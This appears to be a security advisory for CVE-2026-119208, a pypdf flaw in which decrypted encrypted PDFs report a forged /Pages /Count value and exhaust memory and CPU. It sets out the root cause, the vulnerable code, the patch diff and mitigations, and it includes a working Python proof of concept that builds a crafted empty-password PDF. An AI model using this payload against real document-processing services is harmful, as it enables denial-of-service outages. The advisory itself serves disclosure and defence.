CVE-2026-119208: Uncontrolled Resource Consumption in pypdf Encrypted Page Count Evaluation

pypdf is an open-source, pure-Python library used for reading, manipulating, splitting, merging, and decrypting PDF documents. In automated ingestion pipelines, backend services frequently use pypdf to inspect uploaded documents, extract text or metadata, and generate page thumbnails. When processing password-protected or standard empty-password encrypted files, applications rely on the PdfReader class and its inherited base class PdfDocCommon to unlock the container and expose the document structure.

In versions prior to 6.21.3, pypdf contains an uncontrolled resource consumption flaw classified under CWE-400. The vulnerability resides in pypdf/_doc_common.py within the get_num_pages() method, which determines the total number of pages in a document. This method is invoked directly by application code or indirectly whenever the length of the reader.pages sequence is queried.

When handling an encrypted document, pypdf checks the self.is_encrypted property to decide whether it can traverse the internal /Pages tree or if it must fall back to reading the top-level /Count integer from the root /Pages dictionary. Because self.is_encrypted remains True even after a document is decrypted in memory, pypdf continues to use the unvalidated /Count fallback on decrypted files.

An attacker can exploit this logic error by crafting an encrypted PDF with a single physical page while declaring a forged, arbitrarily large /Count integer in the /Pages dictionary. When a target application decrypts the file and accesses operations dependent on the page count, pypdf allocates memory and executes loops proportional to the forged integer, resulting in out-of-memory (OOM) termination or sustained CPU exhaustion.

According to the PDF specification, the document catalog references a root /Pages dictionary that defines the page tree hierarchy. This root node contains a /Kids array pointing to intermediate page tree nodes or leaf /Page objects, alongside a /Count entry specifying the total number of leaf nodes under that tree. Because PDF generators or malicious actors can set /Count to an arbitrary integer that does not match the actual number of leaf nodes in /Kids, a resilient parser must validate the structure by traversing and flattening the page tree.

In pypdf, page tree traversal is handled by the self._flatten() method, which populates self.flattened_pages with references to actual leaf page objects. For unencrypted documents, get_num_pages() executes self._flatten() and returns len(self.flattened_pages), ensuring the reported page count reflects the physical structure of the file. However, if a document is encrypted and has not yet been unlocked via decrypt(), the indirect objects inside /Kids cannot be parsed cleanly, requiring pypdf to fall back to the raw self.root_object["/Pages"]["/Count"] value.

The root cause of CVE-2026-119208 is a state tracking discrepancy between the file-level property self.is_encrypted and the runtime decryption status stored in self._encryption. In pypdf, self.is_encrypted checks for the presence of an /Encrypt dictionary in the PDF trailer. Calling reader.decrypt(password) initializes the cryptographic keys in self._encryption and marks the session as decrypted, but it does not mutate self.is_encrypted to False because the underlying file structure remains an encrypted container.

Because get_num_pages() checked only if self.is_encrypted:, it failed to distinguish between an encrypted document awaiting credentials and an encrypted document that had already been unlocked. Consequently, even after a valid password was supplied, get_num_pages() bypassed self._flatten() and returned the raw NumberObject stored in /Pages["/Count"].

Prior to version 6.21.3, the implementation of get_num_pages() in pypdf/_doc_common.py assumed that any document where self.is_encrypted evaluated to True could not have its page tree flattened. This created a permanent bypass of the tree flattening mechanism for all encrypted PDFs.

# pypdf/_doc_common.py (Vulnerable implementation prior to 6.21.3)
def get_num_pages(self) -> int:
    # Flattened pages will not work on an encrypted PDF;
    # the PDF file's page count is used in this case. Otherwise,
    # the original method (flattened page count) is used.
    if self.is_encrypted:
        # VULNERABLE: Returns raw, unvalidated metadata even after decrypt() succeeds
        return self.root_object["/Pages"]["/Count"]  # type: ignore[no-any-return, index]
    if self.flattened_pages is None:
        self._flatten(self._readonly)
    return len(self.flattened_pages)

When downstream properties query the length of self.pages (an instance of _VirtualList backed by get_num_pages()), the unvalidated integer is propagated directly into memory allocation routines. A primary vector within the library is the page_labels property in PdfDocCommon, which passes len(self.pages) directly to index2labels():

@property
def page_labels(self) -> list[str]:
    # If len(self.pages) is 50,000,000, index2labels attempts to generate
    # a 50-million-element list of label strings.
    return index2labels(self, len(self.pages))

In commit 82b91951dc74496bb3efe6465434f041bb6a5e6b (Pull Request #4270), the maintainers updated get_num_pages() to inspect the internal self._encryption object. Specifically, the patch verifies whether encryption.is_decrypted() returns True before falling back to the unvalidated /Count entry.

--- a/pypdf/_doc_common.py
+++ b/pypdf/_doc_common.py
@@ -377,10 +377,12 @@ def get_num_pages(self) -> int:
             PdfReadError: If restrictions prevent this action.
 
         """
-        # Flattened pages will not work on an encrypted PDF;
-        # the PDF file's page count is used in this case. Otherwise,
-        # the original method (flattened page count) is used.
-        if self.is_encrypted:
+        # The page tree cannot be walked while the document is still encrypted;
+        # the PDF file's page count is used in this case. Once the document has
+        # been decrypted (or if it is not encrypted at all), the flattened page
+        # tree is used instead, as the /Count value might be wrong.
+        encryption = self._encryption
+        if self.is_encrypted and (encryption is None or not encryption.is_decrypted()):
             return self.root_object["/Pages"]["/Count"]  # type: ignore[no-any-return, index]
         if self.flattened_pages is None:
             self._flatten(self._readonly)

> [!NOTE] > Assessment of Fix Completeness: The patch resolves the vulnerability for all post-decryption operations by forcing self._flatten() to run once decryption keys are available. Note that if an application calls len(reader.pages) on an encrypted document before calling reader.decrypt(), get_num_pages() will still return the unvalidated /Count value because the page tree objects remain encrypted and unreadable. However, standard workflows require calling decrypt() prior to accessing page contents or labels, as encrypted objects raise FileNotDecryptedError when dereferenced.

Exploiting CVE-2026-119208 requires no authentication or specialized cryptographic manipulation. In the PDF specification, a document can be encrypted using an empty user password (""). Many automated PDF processing pipelines check if reader.is_encrypted: and immediately attempt reader.decrypt("") to handle documents that have owner-level permission restrictions (such as printing or modification locks) but no user-level open password.

To construct a malicious payload, an attacker initializes a valid PDF containing a single blank page, modifies the /Pages dictionary to overwrite /Count with a massive integer (such as 100,000,000), and encrypts the output stream with an empty password. Because the /Pages root dictionary and its /Count integer are parsed upon decryption, the forged count sits dormant until the target application queries the document length.

from io import BytesIO
from typing import cast
from pypdf import PdfReader, PdfWriter
from pypdf.generic import DictionaryObject, NameObject, NumberObject
 
# 1. Construct the malicious encrypted PDF payload
writer = PdfWriter()
writer.add_blank_page(100, 100)
 
# Overwrite the /Count attribute in the /Pages root dictionary
pages = cast(DictionaryObject, writer.root_object["/Pages"])
pages[NameObject("/Count")] = NumberObject(50_000_000)
 
# Apply empty-password encryption so self.is_encrypted is True
writer.encrypt("")
stream = BytesIO()
writer.write(stream)
stream.seek(0)
 
# 2. Target application ingests and decrypts the file
reader = PdfReader(stream)
if reader.is_encrypted:
    reader.decrypt("")
 
# 3. Trigger resource exhaustion
# On pypdf < 6.21.3, len(reader.pages) returns 50,000,000.
# Accessing page_labels attempts to build a 50M element list in RAM.
labels = reader.page_labels

When a vulnerable service executes reader.page_labels or iterates over range(len(reader.pages)), the Python process enters a tight loop allocating memory structures for millions of nonexistent pages. In containerized environments or web workers (such as Gunicorn or Celery), this allocation rapidly exceeds memory cgroup limits, triggering the Linux kernel OOM killer (SIGKILL) or raising an unhandled MemoryError exception.

The primary impact of CVE-2026-119208 is a high-severity Denial of Service (DoS) affecting system availability. The vulnerability is scored at 7.1 (High) under CVSS v4.0 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N). There is no direct impact on confidentiality (VC:N) or integrity (VI:N), as the flaw does not allow arbitrary memory reads, out-of-bounds writes, or code execution.

The amplification factor of this attack is substantial. A valid encrypted PDF containing a single blank page and a forged /Count integer requires less than 2 kilobytes of disk space or network bandwidth. When processed by a vulnerable application, this 2 KB payload can force the Python interpreter to allocate several gigabytes of heap memory and consume 100% of a CPU core for an extended duration.

Services at highest risk include document management systems, automated invoice or resume parsers, email security gateways, and cloud-based PDF utilities that automatically decrypt empty-password PDFs or accept user-supplied passwords alongside uploaded files. If an attacker submits multiple crafted files concurrently, they can exhaust all available worker threads and host memory, rendering the application unavailable to legitimate users.

The definitive remediation is to upgrade pypdf to version 6.21.3 or later. Version 6.21.3 modifies get_num_pages() so that decrypted documents immediately traverse and flatten the /Pages tree, ensuring len(reader.pages) reflects the true count of physical leaf pages rather than the unvalidated /Count integer.

pip install --upgrade "pypdf>=6.21.3"

For environments where an immediate library upgrade is blocked by dependency constraints, developers can implement an application-level workaround by manually invoking reader._flatten() immediately after calling reader.decrypt(), and comparing the flattened list length against any declared metadata before accessing reader.page_labels or iterating over reader.pages.

from pypdf import PdfReader
 
reader = PdfReader("untrusted.pdf")
if reader.is_encrypted:
    reader.decrypt("")
    # Workaround for pypdf < 6.21.3: Force page tree flattening after decryption
    if reader.flattened_pages is None:
        reader._flatten()
    actual_page_count = len(reader.flattened_pages)

In addition to patching the library, operators processing untrusted PDF files should enforce defense-in-depth runtime constraints. PDF parsing tasks should execute inside isolated worker processes configured with strict memory ceilings (via Linux cgroups, Docker --memory flags, or Python's resource.setrlimit(resource.RLIMIT_AS, ...)) and hard execution timeouts to prevent a single malformed document from degrading host stability.